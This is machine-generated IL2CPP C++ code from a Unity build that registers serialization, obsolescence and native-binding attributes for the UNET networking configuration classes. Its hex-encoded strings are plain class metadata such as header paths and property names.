static void HostTopology_t268779309BB2D69F29D1A182662C79818813892B_CustomAttributesCacheGenerator_m_ReceivedMessagePoolSize(CustomAttributesCache* cache)
{
{
SerializeField_t6B23EE6CC99B21C3EBD946352112832A70E67E25 * tmp = (SerializeField_t6B23EE6CC99B21C3EBD946352112832A70E67E25 *)cache->attributes[0];
SerializeField__ctor_mDE6A7673BA2C1FAD03CFEC65C6D473CC37889DD3(tmp, NULL);
}
}
static void HostTopology_t268779309BB2D69F29D1A182662C79818813892B_CustomAttributesCacheGenerator_m_SentMessagePoolSize(CustomAttributesCache* cache)
{
{
SerializeField_t6B23EE6CC99B21C3EBD946352112832A70E67E25 * tmp = (SerializeField_t6B23EE6CC99B21C3EBD946352112832A70E67E25 *)cache->attributes[0];
SerializeField__ctor_mDE6A7673BA2C1FAD03CFEC65C6D473CC37889DD3(tmp, NULL);
}
}
static void HostTopology_t268779309BB2D69F29D1A182662C79818813892B_CustomAttributesCacheGenerator_m_MessagePoolSizeGrowthFactor(CustomAttributesCache* cache)
{
{
SerializeField_t6B23EE6CC99B21C3EBD946352112832A70E67E25 * tmp = (SerializeField_t6B23EE6CC99B21C3EBD946352112832A70E67E25 *)cache->attributes[0];
SerializeField__ctor_mDE6A7673BA2C1FAD03CFEC65C6D473CC37889DD3(tmp, NULL);
}
}
static void GlobalConfig_tD5592BEAD14194E067933D7B7655BF10AA9C4D66_CustomAttributesCacheGenerator(CustomAttributesCache* cache)
{
{
ObsoleteAttribute_t14BAC1669C0409EB9F28D72D664FFA6764ACD671 * tmp = (ObsoleteAttribute_t14BAC1669C0409EB9F28D72D664FFA6764ACD671 *)cache->attributes[0];
ObsoleteAttribute__ctor_mAC32A5CCD287DA84CDA9F08282C1C8B0DB7B9868(tmp, il2cpp_codegen_string_new_wrapper("\x54\x68\x65\x20\x55\x4E\x45\x54\x20\x74\x72\x61\x6E\x73\x70\x6F\x72\x74\x20\x77\x69\x6C\x6C\x20\x62\x65\x20\x72\x65\x6D\x6F\x76\x65\x64\x20\x69\x6E\x20\x74\x68\x65\x20\x66\x75\x74\x75\x72\x65\x20\x61\x73\x20\x73\x6F\x6F\x6E\x20\x61\x20\x72\x65\x70\x6C\x61\x63\x65\x6D\x65\x6E\x74\x20\x69\x73\x20\x72\x65\x61\x64\x79\x2E"), NULL);
}
}
static void GlobalConfig_tD5592BEAD14194E067933D7B7655BF10AA9C4D66_CustomAttributesCacheGenerator_m_ThreadAwakeTimeout(CustomAttributesCache* cache)
{
{
SerializeField_t6B23EE6CC99B21C3EBD946352112832A70E67E25 * tmp = (SerializeField_t6B23EE6CC99B21C3EBD946352112832A70E67E25 *)cache->attributes[0];
SerializeField__ctor_mDE6A7673BA2C1FAD03CFEC65C6D473CC37889DD3(tmp, NULL);
}
}
static void GlobalConfig_tD5592BEAD14194E067933D7B7655BF10AA9C4D66_CustomAttributesCacheGenerator_m_ReactorModel(CustomAttributesCache* cache)
{
{
SerializeField_t6B23EE6CC99B21C3EBD946352112832A70E67E25 * tmp = (SerializeField_t6B23EE6CC99B21C3EBD946352112832A70E67E25 *)cache->attributes[0];
SerializeField__ctor_mDE6A7673BA2C1FAD03CFEC65C6D473CC37889DD3(tmp, NULL);
}
}
static void GlobalConfig_tD5592BEAD14194E067933D7B7655BF10AA9C4D66_CustomAttributesCacheGenerator_m_ReactorMaximumReceivedMessages(CustomAttributesCache* cache)
{
{
SerializeField_t6B23EE6CC99B21C3EBD946352112832A70E67E25 * tmp = (SerializeField_t6B23EE6CC99B21C3EBD946352112832A70E67E25 *)cache->attributes[0];
SerializeField__ctor_mDE6A7673BA2C1FAD03CFEC65C6D473CC37889DD3(tmp, NULL);
}
}
static void GlobalConfig_tD5592BEAD14194E067933D7B7655BF10AA9C4D66_CustomAttributesCacheGenerator_m_ReactorMaximumSentMessages(CustomAttributesCache* cache)
{
{
SerializeField_t6B23EE6CC99B21C3EBD946352112832A70E67E25 * tmp = (SerializeField_t6B23EE6CC99B21C3EBD946352112832A70E67E25 *)cache->attributes[0];
SerializeField__ctor_mDE6A7673BA2C1FAD03CFEC65C6D473CC37889DD3(tmp, NULL);
}
}
static void GlobalConfig_tD5592BEAD14194E067933D7B7655BF10AA9C4D66_CustomAttributesCacheGenerator_m_MaxPacketSize(CustomAttributesCache* cache)
{
{
SerializeField_t6B23EE6CC99B21C3EBD946352112832A70E67E25 * tmp = (SerializeField_t6B23EE6CC99B21C3EBD946352112832A70E67E25 *)cache->attributes[0];
SerializeField__ctor_mDE6A7673BA2C1FAD03CFEC65C6D473CC37889DD3(tmp, NULL);
}
}
static void GlobalConfig_tD5592BEAD14194E067933D7B7655BF10AA9C4D66_CustomAttributesCacheGenerator_m_MaxHosts(CustomAttributesCache* cache)
{
{
SerializeField_t6B23EE6CC99B21C3EBD946352112832A70E67E25 * tmp = (SerializeField_t6B23EE6CC99B21C3EBD946352112832A70E67E25 *)cache->attributes[0];
SerializeField__ctor_mDE6A7673BA2C1FAD03CFEC65C6D473CC37889DD3(tmp, NULL);
}
}
static void GlobalConfig_tD5592BEAD14194E067933D7B7655BF10AA9C4D66_CustomAttributesCacheGenerator_m_ThreadPoolSize(CustomAttributesCache* cache)
{
{
SerializeField_t6B23EE6CC99B21C3EBD946352112832A70E67E25 * tmp = (SerializeField_t6B23EE6CC99B21C3EBD946352112832A70E67E25 *)cache->attributes[0];
SerializeField__ctor_mDE6A7673BA2C1FAD03CFEC65C6D473CC37889DD3(tmp, NULL);
}
}
static void GlobalConfig_tD5592BEAD14194E067933D7B7655BF10AA9C4D66_CustomAttributesCacheGenerator_m_MinTimerTimeout(CustomAttributesCache* cache)
{
{
SerializeField_t6B23EE6CC99B21C3EBD946352112832A70E67E25 * tmp = (SerializeField_t6B23EE6CC99B21C3EBD946352112832A70E67E25 *)cache->attributes[0];
SerializeField__ctor_mDE6A7673BA2C1FAD03CFEC65C6D473CC37889DD3(tmp, NULL);
}
}
static void GlobalConfig_tD5592BEAD14194E067933D7B7655BF10AA9C4D66_CustomAttributesCacheGenerator_m_MaxTimerTimeout(CustomAttributesCache* cache)
{
{
SerializeField_t6B23EE6CC99B21C3EBD946352112832A70E67E25 * tmp = (SerializeField_t6B23EE6CC99B21C3EBD946352112832A70E67E25 *)cache->attributes[0];
SerializeField__ctor_mDE6A7673BA2C1FAD03CFEC65C6D473CC37889DD3(tmp, NULL);
}
}
static void GlobalConfig_tD5592BEAD14194E067933D7B7655BF10AA9C4D66_CustomAttributesCacheGenerator_m_MinNetSimulatorTimeout(CustomAttributesCache* cache)
{
{
SerializeField_t6B23EE6CC99B21C3EBD946352112832A70E67E25 * tmp = (SerializeField_t6B23EE6CC99B21C3EBD946352112832A70E67E25 *)cache->attributes[0];
SerializeField__ctor_mDE6A7673BA2C1FAD03CFEC65C6D473CC37889DD3(tmp, NULL);
}
}
static void GlobalConfig_tD5592BEAD14194E067933D7B7655BF10AA9C4D66_CustomAttributesCacheGenerator_m_MaxNetSimulatorTimeout(CustomAttributesCache* cache)
{
{
SerializeField_t6B23EE6CC99B21C3EBD946352112832A70E67E25 * tmp = (SerializeField_t6B23EE6CC99B21C3EBD946352112832A70E67E25 *)cache->attributes[0];
SerializeField__ctor_mDE6A7673BA2C1FAD03CFEC65C6D473CC37889DD3(tmp, NULL);
}
}
static void GlobalConfig_tD5592BEAD14194E067933D7B7655BF10AA9C4D66_CustomAttributesCacheGenerator_m_ConnectionReadyForSend(CustomAttributesCache* cache)
{
{
SerializeField_t6B23EE6CC99B21C3EBD946352112832A70E67E25 * tmp = (SerializeField_t6B23EE6CC99B21C3EBD946352112832A70E67E25 *)cache->attributes[0];
SerializeField__ctor_mDE6A7673BA2C1FAD03CFEC65C6D473CC37889DD3(tmp, NULL);
}
}
static void GlobalConfig_tD5592BEAD14194E067933D7B7655BF10AA9C4D66_CustomAttributesCacheGenerator_m_NetworkEventAvailable(CustomAttributesCache* cache)
{
{
SerializeField_t6B23EE6CC99B21C3EBD946352112832A70E67E25 * tmp = (SerializeField_t6B23EE6CC99B21C3EBD946352112832A70E67E25 *)cache->attributes[0];
SerializeField__ctor_mDE6A7673BA2C1FAD03CFEC65C6D473CC37889DD3(tmp, NULL);
}
}
static void ConnectionSimulatorConfig_t1AE9575EDB85F7792DE5F22A4E096A4A08AEB935_CustomAttributesCacheGenerator(CustomAttributesCache* cache)
{
{
ObsoleteAttribute_t14BAC1669C0409EB9F28D72D664FFA6764ACD671 * tmp = (ObsoleteAttribute_t14BAC1669C0409EB9F28D72D664FFA6764ACD671 *)cache->attributes[0];
ObsoleteAttribute__ctor_mAC32A5CCD287DA84CDA9F08282C1C8B0DB7B9868(tmp, il2cpp_codegen_string_new_wrapper("\x54\x68\x65\x20\x55\x4E\x45\x54\x20\x74\x72\x61\x6E\x73\x70\x6F\x72\x74\x20\x77\x69\x6C\x6C\x20\x62\x65\x20\x72\x65\x6D\x6F\x76\x65\x64\x20\x69\x6E\x20\x74\x68\x65\x20\x66\x75\x74\x75\x72\x65\x20\x61\x73\x20\x73\x6F\x6F\x6E\x20\x61\x20\x72\x65\x70\x6C\x61\x63\x65\x6D\x65\x6E\x74\x20\x69\x73\x20\x72\x65\x61\x64\x79\x2E"), NULL);
}
}
static void ConnectionSimulatorConfig_t1AE9575EDB85F7792DE5F22A4E096A4A08AEB935_CustomAttributesCacheGenerator_ConnectionSimulatorConfig_Dispose_m9148148B8B0005349005627999D7B3AF72020D95(CustomAttributesCache* cache)
{
{
ThreadAndSerializationSafeAttribute_t41719A461F31891B2536A2E4A1E983DD7E428E7B * tmp = (ThreadAndSerializationSafeAttribute_t41719A461F31891B2536A2E4A1E983DD7E428E7B *)cache->attributes[0];
ThreadAndSerializationSafeAttribute__ctor_mFD03B237E6197FBEC6B5ACA54E9063E0827947CB(tmp, NULL);
}
}
static void ConnectionConfigInternal_tA4BD9D163516820771949053DE20639A8A7D8078_CustomAttributesCacheGenerator(CustomAttributesCache* cache)
{
{
NativeHeaderAttribute_t7F0E4B53790AA75CDB4C44E6D644267F8FE3066C * tmp = (NativeHeaderAttribute_t7F0E4B53790AA75CDB4C44E6D644267F8FE3066C *)cache->attributes[0];
NativeHeaderAttribute__ctor_m0E83F29C5939F185D6E90541591802EB2845FD76(tmp, il2cpp_codegen_string_new_wrapper("\x4D\x6F\x64\x75\x6C\x65\x73\x2F\x55\x4E\x45\x54\x2F\x55\x4E\x45\x54\x4D\x61\x6E\x61\x67\x65\x72\x2E\x68"), NULL);
}
{
NativeHeaderAttribute_t7F0E4B53790AA75CDB4C44E6D644267F8FE3066C * tmp = (NativeHeaderAttribute_t7F0E4B53790AA75CDB4C44E6D644267F8FE3066C *)cache->attributes[1];
NativeHeaderAttribute__ctor_m0E83F29C5939F185D6E90541591802EB2845FD76(tmp, il2cpp_codegen_string_new_wrapper("\x4D\x6F\x64\x75\x6C\x65\x73\x2F\x55\x4E\x45\x54\x2F\x55\x4E\x65\x74\x54\x79\x70\x65\x73\x2E\x68"), NULL);
}
{
NativeHeaderAttribute_t7F0E4B53790AA75CDB4C44E6D644267F8FE3066C * tmp = (NativeHeaderAttribute_t7F0E4B53790AA75CDB4C44E6D644267F8FE3066C *)cache->attributes[2];
NativeHeaderAttribute__ctor_m0E83F29C5939F185D6E90541591802EB2845FD76(tmp, il2cpp_codegen_string_new_wrapper("\x4D\x6F\x64\x75\x6C\x65\x73\x2F\x55\x4E\x45\x54\x2F\x55\x4E\x45\x54\x43\x6F\x6E\x66\x69\x67\x75\x72\x61\x74\x69\x6F\x6E\x2E\x68"), NULL);
}
{
NativeConditionalAttribute_t659349956F06958D4D05443BD06FF5CDC767C88B * tmp = (NativeConditionalAttribute_t659349956F06958D4D05443BD06FF5CDC767C88B *)cache->attributes[3];
NativeConditionalAttribute__ctor_mD7A4501DA7EC2B1EBAF4730F06B60D3A8D896A23(tmp, il2cpp_codegen_string_new_wrapper("\x45\x4E\x41\x42\x4C\x45\x5F\x4E\x45\x54\x57\x4F\x52\x4B\x20\x26\x26\x20\x45\x4E\x41\x42\x4C\x45\x5F\x55\x4E\x45\x54"), true, NULL);
}
}
static void ConnectionConfigInternal_tA4BD9D163516820771949053DE20639A8A7D8078_CustomAttributesCacheGenerator_ConnectionConfigInternal_InternalDestroy_mA5ED8454D97B55A9BF3FDDC6DDE09D31E6DF20E9(CustomAttributesCache* cache)
{
{
NativeMethodAttribute_t57F61ACA17BEC1260A06658ACD971B0009CC1866 * tmp = (NativeMethodAttribute_t57F61ACA17BEC1260A06658ACD971B0009CC1866 *)cache->attributes[0];
NativeMethodAttribute__ctor_mB0D8BA2FFA19561CCB4257F8D6D03726514A9E5F(tmp, NULL);
NativeMethodAttribute_set_IsThreadSafe_m965EAB84605EABFD2AE9B84FBE7FF311D1116A56_inline(tmp, true, NULL);
}
}
static void ConnectionConfigInternal_tA4BD9D163516820771949053DE20639A8A7D8078_CustomAttributesCacheGenerator_ConnectionConfigInternal_SetSSLCertFilePath_mE1BB6420E3CB9775AD1E55561D9973D7DA1794A4(CustomAttributesCache* cache)
{
{
NativeMethodAttribute_t57F61ACA17BEC1260A06658ACD971B0009CC1866 * tmp = (NativeMethodAttribute_t57F61ACA17BEC1260A06658ACD971B0009CC1866 *)cache->attributes[0];
NativeMethodAttribute__ctor_m7F91BF50E5248D4FC3B6938488ABA3F1A883B825(tmp, il2cpp_codegen_string_new_wrapper("\x53\x65\x74\x53\x53\x4C\x43\x65\x72\x74\x46\x69\x6C\x65\x50\x61\x74\x68"), NULL);
}
}
static void ConnectionConfigInternal_tA4BD9D163516820771949053DE20639A8A7D8078_CustomAttributesCacheGenerator_ConnectionConfigInternal_SetSSLPrivateKeyFilePath_m97560CCDF198A876997E44D363018BA65C5929EB(CustomAttributesCache* cache)
{
{
NativeMethodAttribute_t57F61ACA17BEC1260A06658ACD971B0009CC1866 * tmp = (NativeMethodAttribute_t57F61ACA17BEC1260A06658ACD971B0009CC1866 *)cache->attributes[0];
NativeMethodAttribute__ctor_m7F91BF50E5248D4FC3B6938488ABA3F1A883B825(tmp, il2cpp_codegen_string_new_wrapper("\x53\x65\x74\x53\x53\x4C\x50\x72\x69\x76\x61\x74\x65\x4B\x65\x79\x46\x69\x6C\x65\x50\x61\x74\x68"), NULL);
}
}
static void ConnectionConfigInternal_tA4BD9D163516820771949053DE20639A8A7D8078_CustomAttributesCacheGenerator_ConnectionConfigInternal_SetSSLCAFilePath_mC553B8CCC370BFC28CC8D26437CC6B1F0FD60315(CustomAttributesCache* cache)
{
{
NativeMethodAttribute_t57F61ACA17BEC1260A06658ACD971B0009CC1866 * tmp = (NativeMethodAttribute_t57F61ACA17BEC1260A06658ACD971B0009CC1866 *)cache->attributes[0];
NativeMethodAttribute__ctor_m7F91BF50E5248D4FC3B6938488ABA3F1A883B825(tmp, il2cpp_codegen_string_new_wrapper("\x53\x65\x74\x53\x53\x4C\x43\x41\x46\x69\x6C\x65\x50\x61\x74\x68"), NULL);
}
}
static void ConnectionConfigInternal_tA4BD9D163516820771949053DE20639A8A7D8078_CustomAttributesCacheGenerator_ConnectionConfigInternal_MakeChannelsSharedOrder_m386F46D817576653643A908AAAA1AB6DA136707E(CustomAttributesCache* cache)
{
{
NativeMethodAttribute_t57F61ACA17BEC1260A06658ACD971B0009CC1866 * tmp = (NativeMethodAttribute_t57F61ACA17BEC1260A06658ACD971B0009CC1866 *)cache->attributes[0];
NativeMethodAttribute__ctor_m7F91BF50E5248D4FC3B6938488ABA3F1A883B825(tmp, il2cpp_codegen_string_new_wrapper("\x4D\x61\x6B\x65\x43\x68\x61\x6E\x6E\x65\x6C\x73\x53\x68\x61\x72\x65\x64\x4F\x72\x64\x65\x72"), NULL);
}
}
static void ConnectionConfigInternal_tA4BD9D163516820771949053DE20639A8A7D8078_CustomAttributesCacheGenerator_ConnectionConfigInternal_tA4BD9D163516820771949053DE20639A8A7D8078____FragmentSize_PropertyInfo(CustomAttributesCache* cache)
{
{
NativePropertyAttribute_t300C37301B5C27B1EECB6CBE7EED16EEDA11975A * tmp = (NativePropertyAttribute_t300C37301B5C27B1EECB6CBE7EED16EEDA11975A *)cache->attributes[0];
NativePropertyAttribute__ctor_m0D8E28E47E1EC06E66776267559926BEB2604308(tmp, il2cpp_codegen_string_new_wrapper("\x6D\x5F\x50\x72\x6F\x74\x6F\x63\x6F\x6C\x52\x65\x71\x75\x69\x72\x65\x64\x2E\x6D\x5F\x46\x72\x61\x67\x6D\x65\x6E\x74\x53\x69\x7A\x65"), 1LL, NULL);
}
}
static void ConnectionConfigInternal_tA4BD9D163516820771949053DE20639A8A7D8078_CustomAttributesCacheGenerator_ConnectionConfigInternal_tA4BD9D163516820771949053DE20639A8A7D8078____ResendTimeout_PropertyInfo(CustomAttributesCache* cache)
{
{
NativePropertyAttribute_t300C37301B5C27B1EECB6CBE7EED16EEDA11975A * tmp = (NativePropertyAttribute_t300C37301B5C27B1EECB6CBE7EED16EEDA11975A *)cache->attributes[0];
NativePropertyAttribute__ctor_m0D8E28E47E1EC06E66776267559926BEB2604308(tmp, il2cpp_codegen_string_new_wrapper("\x6D\x5F\x50\x72\x6F\x74\x6F\x63\x6F\x6C\x52\x65\x71\x75\x69\x72\x65\x64\x2E\x6D\x5F\x52\x65\x73\x65\x6E\x64\x54\x69\x6D\x65\x6F\x75\x74"), 1LL, NULL);
}
}
static void ConnectionConfigInternal_tA4BD9D163516820771949053DE20639A8A7D8078_CustomAttributesCacheGenerator_ConnectionConfigInternal_tA4BD9D163516820771949053DE20639A8A7D8078____DisconnectTimeout_PropertyInfo(CustomAttributesCache* cache)
{
{
NativePropertyAttribute_t300C37301B5C27B1EECB6CBE7EED16EEDA11975A * tmp = (NativePropertyAttribute_t300C37301B5C27B1EECB6CBE7EED16EEDA11975A *)cache->attributes[0];
NativePropertyAttribute__ctor_m0D8E28E47E1EC06E66776267559926BEB2604308(tmp, il2cpp_codegen_string_new_wrapper("\x6D\x5F\x50\x72\x6F\x74\x6F\x63\x6F\x6C\x52\x65\x71\x75\x69\x72\x65\x64\x2E\x6D\x5F\x44\x69\x73\x63\x6F\x6E\x6E\x65\x63\x74\x54\x69\x6D\x65\x6F\x75\x74"), 1LL, NULL);
}
}
static void ConnectionConfigInternal_tA4BD9D163516820771949053DE20639A8A7D8078_CustomAttributesCacheGenerator_ConnectionConfigInternal_tA4BD9D163516820771949053DE20639A8A7D8078____ConnectTimeout_PropertyInfo(CustomAttributesCache* cache)
{
{
NativePropertyAttribute_t300C37301B5C27B1EECB6CBE7EED16EEDA11975A * tmp = (NativePropertyAttribute_t300C37301B5C27B1EECB6CBE7EED16EEDA11975A *)cache->attributes[0];
NativePropertyAttribute__ctor_m0D8E28E47E1EC06E66776267559926BEB2604308(tmp, il2cpp_codegen_string_new_wrapper("\x6D\x5F\x50\x72\x6F\x74\x6F\x63\x6F\x6C\x52\x65\x71\x75\x69\x72\x65\x64\x2E\x6D\x5F\x43\x6F\x6E\x6E\x65\x63\x74\x54\x69\x6D\x65\x6F\x75\x74"), 1LL, NULL);
}
}
static void ConnectionConfigInternal_tA4BD9D163516820771949053DE20639A8A7D8078_CustomAttributesCacheGenerator_ConnectionConfigInternal_tA4BD9D163516820771949053DE20639A8A7D8078____MinUpdateTimeout_PropertyInfo(CustomAttributesCache* cache)
{
{
NativePropertyAttribute_t300C37301B5C27B1EECB6CBE7EED16EEDA11975A * tmp = (NativePropertyAttribute_t300C37301B5C27B1EECB6CBE7EED16EEDA11975A *)cache->attributes[0];
NativePropertyAttribute__ctor_m0D8E28E47E1EC06E66776267559926BEB2604308(tmp, il2cpp_codegen_string_new_wrapper("\x6D\x5F\x50\x72\x6F\x74\x6F\x63\x6F\x6C\x4F\x70\x74\x69\x6F\x6E\x61\x6C\x2E\x6D\x5F\x4D\x69\x6E\x55\x70\x64\x61\x74\x65\x54\x69\x6D\x65\x6F\x75\x74"), 1LL, NULL);
}
}
static void ConnectionConfigInternal_tA4BD9D163516820771949053DE20639A8A7D8078_CustomAttributesCacheGenerator_ConnectionConfigInternal_tA4BD9D163516820771949053DE20639A8A7D8078____PingTimeout_PropertyInfo(CustomAttributesCache* cache)
{
{
NativePropertyAttribute_t300C37301B5C27B1EECB6CBE7EED16EEDA11975A * tmp = (NativePropertyAttribute_t300C37301B5C27B1EECB6CBE7EED16EEDA11975A *)cache->attributes[0];
NativePropertyAttribute__ctor_m0D8E28E47E1EC06E66776267559926BEB2604308(tmp, il2cpp_codegen_string_new_wrapper("\x6D\x5F\x50\x72\x6F\x74\x6F\x63\x6F\x6C\x52\x65\x71\x75\x69\x72\x65\x64\x2E\x6D\x5F\x50\x69\x6E\x67\x54\x69\x6D\x65\x6F\x75\x74"), 1LL, NULL);
}
}
static void ConnectionConfigInternal_tA4BD9D163516820771949053DE20639A8A7D8078_CustomAttributesCacheGenerator_ConnectionConfigInternal_tA4BD9D163516820771949053DE20639A8A7D8078____ReducedPingTimeout_PropertyInfo(CustomAttributesCache* cache)
{
{
NativePropertyAttribute_t300C37301B5C27B1EECB6CBE7EED16EEDA11975A * tmp = (NativePropertyAttribute_t300C37301B5C27B1EECB6CBE7EED16EEDA11975A *)cache->attributes[0];
NativePropertyAttribute__ctor_m0D8E28E47E1EC06E66776267559926BEB2604308(tmp, il2cpp_codegen_string_new_wrapper("\x6D\x5F\x50\x72\x6F\x74\x6F\x63\x6F\x6C\x52\x65\x71\x75\x69\x72\x65\x64\x2E\x6D\x5F\x52\x65\x64\x75\x63\x65\x64\x50\x69\x6E\x67\x54\x69\x6D\x65\x6F\x75\x74"), 1LL, NULL);
}
}
static void ConnectionConfigInternal_tA4BD9D163516820771949053DE20639A8A7D8078_CustomAttributesCacheGenerator_ConnectionConfigInternal_tA4BD9D163516820771949053DE20639A8A7D8078____AllCostTimeout_PropertyInfo(CustomAttributesCache* cache)
{
{
NativePropertyAttribute_t300C37301B5C27B1EECB6CBE7EED16EEDA11975A * tmp = (NativePropertyAttribute_t300C37301B5C27B1EECB6CBE7EED16EEDA11975A *)cache->attributes[0];
NativePropertyAttribute__ctor_m0D8E28E47E1EC06E66776267559926BEB2604308(tmp, il2cpp_codegen_string_new_wrapper("\x6D\x5F\x50\x72\x6F\x74\x6F\x63\x6F\x6C\x52\x65\x71\x75\x69\x72\x65\x64\x2E\x6D\x5F\x41\x6C\x6C\x43\x6F\x73\x74\x54\x69\x6D\x65\x6F\x75\x74"), 1LL, NULL);
}
}
static void ConnectionConfigInternal_tA4BD9D163516820771949053DE20639A8A7D8078_CustomAttributesCacheGenerator_ConnectionConfigInternal_tA4BD9D163516820771949053DE20639A8A7D8078____NetworkDropThreshold_PropertyInfo(CustomAttributesCache* cache)
{
{
NativePropertyAttribute_t300C37301B5C27B1EECB6CBE7EED16EEDA11975A * tmp = (NativePropertyAttribute_t300C37301B5C27B1EECB6CBE7EED16EEDA11975A *)cache->attributes[0];
NativePropertyAttribute__ctor_m0D8E28E47E1EC06E66776267559926BEB2604308(tmp, il2cpp_codegen_string_new_wrapper("\x6D\x5F\x50\x72\x6F\x74\x6F\x63\x6F\x6C\x4F\x70\x74\x69\x6F\x6E\x61\x6C\x2E\x6D\x5F\x4E\x65\x74\x77\x6F\x72\x6B\x44\x72\x6F\x70\x54\x68\x72\x65\x73\x68\x6F\x6C\x64"), 1LL, NULL);
}
}
static void ConnectionConfigInternal_tA4BD9D163516820771949053DE20639A8A7D8078_CustomAttributesCacheGenerator_ConnectionConfigInternal_tA4BD9D163516820771949053DE20639A8A7D8078____OverflowDropThreshold_PropertyInfo(CustomAttributesCache* cache)
{
{
NativePropertyAttribute_t300C37301B5C27B1EECB6CBE7EED16EEDA11975A * tmp = (NativePropertyAttribute_t300C37301B5C27B1EECB6CBE7EED16EEDA11975A *)cache->attributes[0];
NativePropertyAttribute__ctor_m0D8E28E47E1EC06E66776267559926BEB2604308(tmp, il2cpp_codegen_string_new_wrapper("\x6D\x5F\x50\x72\x6F\x74\x6F\x63\x6F\x6C\x4F\x70\x74\x69\x6F\x6E\x61\x6C\x2E\x6D\x5F\x4F\x76\x65\x72\x66\x6C\x6F\x77\x44\x72\x6F\x70\x54\x68\x72\x65\x73\x68\x6F\x6C\x64"), 1LL, NULL);
}
}
static void ConnectionConfigInternal_tA4BD9D163516820771949053DE20639A8A7D8078_CustomAttributesCacheGenerator_ConnectionConfigInternal_tA4BD9D163516820771949053DE20639A8A7D8078____MaxConnectionAttempt_PropertyInfo(CustomAttributesCache* cache)
{
{
NativePropertyAttribute_t300C37301B5C27B1EECB6CBE7EED16EEDA11975A * tmp = (NativePropertyAttribute_t300C37301B5C27B1EECB6CBE7EED16EEDA11975A *)cache->attributes[0];
NativePropertyAttribute__ctor_m0D8E28E47E1EC06E66776267559926BEB2604308(tmp, il2cpp_codegen_string_new_wrapper("\x6D\x5F\x50\x72\x6F\x74\x6F\x63\x6F\x6C\x4F\x70\x74\x69\x6F\x6E\x61\x6C\x2E\x6D\x5F\x4D\x61\x78\x43\x6F\x6E\x6E\x65\x63\x74\x69\x6F\x6E\x41\x74\x74\x65\x6D\x70\x74"), 1LL, NULL);
}
}
static void ConnectionConfigInternal_tA4BD9D163516820771949053DE20639A8A7D8078_CustomAttributesCacheGenerator_ConnectionConfigInternal_tA4BD9D163516820771949053DE20639A8A7D8078____AckDelay_PropertyInfo(CustomAttributesCache* cache)
{
{
NativePropertyAttribute_t300C37301B5C27B1EECB6CBE7EED16EEDA11975A * tmp = (NativePropertyAttribute_t300C37301B5C27B1EECB6CBE7EED16EEDA11975A *)cache->attributes[0];
NativePropertyAttribute__ctor_m0D8E28E47E1EC06E66776267559926BEB2604308(tmp, il2cpp_codegen_string_new_wrapper("\x6D\x5F\x50\x72\x6F\x74\x6F\x63\x6F\x6C\x4F\x70\x74\x69\x6F\x6E\x61\x6C\x2E\x6D\x5F\x41\x63\x6B\x44\x65\x6C\x61\x79"), 1LL, NULL);
}
}
static void ConnectionConfigInternal_tA4BD9D163516820771949053DE20639A8A7D8078_CustomAttributesCacheGenerator_ConnectionConfigInternal_tA4BD9D163516820771949053DE20639A8A7D8078____SendDelay_PropertyInfo(CustomAttributesCache* cache)
{
{
NativePropertyAttribute_t300C37301B5C27B1EECB6CBE7EED16EEDA11975A * tmp = (NativePropertyAttribute_t300C37301B5C27B1EECB6CBE7EED16EEDA11975A *)cache->attributes[0];
NativePropertyAttribute__ctor_m0D8E28E47E1EC06E66776267559926BEB2604308(tmp, il2cpp_codegen_string_new_wrapper("\x6D\x5F\x50\x72\x6F\x74\x6F\x63\x6F\x6C\x4F\x70\x74\x69\x6F\x6E\x61\x6C\x2E\x6D\x5F\x53\x65\x6E\x64\x44\x65\x6C\x61\x79"), 1LL, NULL);
}
}
static void ConnectionConfigInternal_tA4BD9D163516820771949053DE20639A8A7D8078_CustomAttributesCacheGenerator_ConnectionConfigInternal_tA4BD9D163516820771949053DE20639A8A7D8078____MaxCombinedReliableMessageSize_PropertyInfo(CustomAttributesCache* cache)
{
{
NativePropertyAttribute_t300C37301B5C27B1EECB6CBE7EED16EEDA11975A * tmp = (NativePropertyAttribute_t300C37301B5C27B1EECB6CBE7EED16EEDA11975A *)cache->attributes[0];
NativePropertyAttribute__ctor_m0D8E28E47E1EC06E66776267559926BEB2604308(tmp, il2cpp_codegen_string_new_wrapper("\x6D\x5F\x50\x72\x6F\x74\x6F\x63\x6F\x6C\x4F\x70\x74\x69\x6F\x6E\x61\x6C\x2E\x6D\x5F\x4D\x61\x78\x43\x6F\x6D\x62\x69\x6E\x65\x64\x52\x65\x6C\x69\x61\x62\x6C\x65\x4D\x65\x73\x73\x61\x67\x65\x53\x69\x7A\x65"), 1LL, NULL);
}
}
static void ConnectionConfigInternal_tA4BD9D163516820771949053DE20639A8A7D8078_CustomAttributesCacheGenerator_ConnectionConfigInternal_tA4BD9D163516820771949053DE20639A8A7D8078____MaxCombinedReliableMessageCount_PropertyInfo(CustomAttributesCache* cache)
{
{
NativePropertyAttribute_t300C37301B5C27B1EECB6CBE7EED16EEDA11975A * tmp = (NativePropertyAttribute_t300C37301B5C27B1EECB6CBE7EED16EEDA11975A *)cache->attributes[0];
NativePropertyAttribute__ctor_m0D8E28E47E1EC06E66776267559926BEB2604308(tmp, il2cpp_codegen_string_new_wrapper("\x6D\x5F\x50\x72\x6F\x74\x6F\x63\x6F\x6C\x4F\x70\x74\x69\x6F\x6E\x61\x6C\x2E\x6D\x5F\x4D\x61\x78\x43\x6F\x6D\x62\x69\x6E\x65\x64\x52\x65\x6C\x69\x61\x62\x6C\x65\x4D\x65\x73\x73\x61\x67\x65\x41\x6D\x6F\x75\x6E\x74"), 1LL, NULL);
}
}
static void ConnectionConfigInternal_tA4BD9D163516820771949053DE20639A8A7D8078_CustomAttributesCacheGenerator_ConnectionConfigInternal_tA4BD9D163516820771949053DE20639A8A7D8078____MaxSentMessageQueueSize_PropertyInfo(CustomAttributesCache* cache)
{
{
NativePropertyAttribute_t300C37301B5C27B1EECB6CBE7EED16EEDA11975A * tmp = (NativePropertyAttribute_t300C37301B5C27B1EECB6CBE7EED16EEDA11975A *)cache->attributes[0];
NativePropertyAttribute__ctor_m0D8E28E47E1EC06E66776267559926BEB2604308(tmp, il2cpp_codegen_string_new_wrapper("\x6D\x5F\x50\x72\x6F\x74\x6F\x63\x6F\x6C\x4F\x70\x74\x69\x6F\x6E\x61\x6C\x2E\x6D\x5F\x4D\x61\x78\x53\x65\x6E\x74\x4D\x65\x73\x73\x61\x67\x65\x51\x75\x65\x75\x65\x53\x69\x7A\x65"), 1LL, NULL);
}
}
